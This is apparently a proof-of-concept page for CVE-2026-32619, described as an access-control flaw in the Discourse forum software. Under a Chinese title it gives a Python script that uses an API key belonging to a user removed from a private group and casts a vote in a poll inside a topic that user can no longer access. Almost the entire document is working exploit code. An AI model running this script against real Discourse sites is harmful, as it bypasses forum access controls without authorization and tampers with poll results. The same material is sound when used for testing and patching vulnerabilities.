CVE-2026-32619 Discourse访问控制失效漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-32619 (Discourse Access Control Issue) This script demonstrates how a user removed from a private group can still interact with polls in topics they no longer have access to. """ import requests TARGET_URL = "https://example-discourse.com" API_KEY = "YOUR_API_KEY" API_USERNAME = "revoked_user" TOPIC_ID = 12345 # Topic ID inside the private category POLL_NAME = "poll" headers = { "Api-Key": API_KEY, "Api-Username": API_USERNAME, "Content-Type": "application/json" } # Attempt to vote on a poll in a restricted topic # Note: The user has been removed from the group that grants access to this topic vote_url = f"{TARGET_URL}/polls/vote" payload = { "topic_id": TOPIC_ID, "poll_name": POLL_NAME, "options": ["1"] # Selecting option 1 } response = requests.post(vote_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability Exploited! Vote cast successfully despite lack of topic access.") print(f"[+] Response: {response.json()}") else: print("[-] Failed to cast vote or patch applied.") print(f"[-] Status Code: {response.status_code}")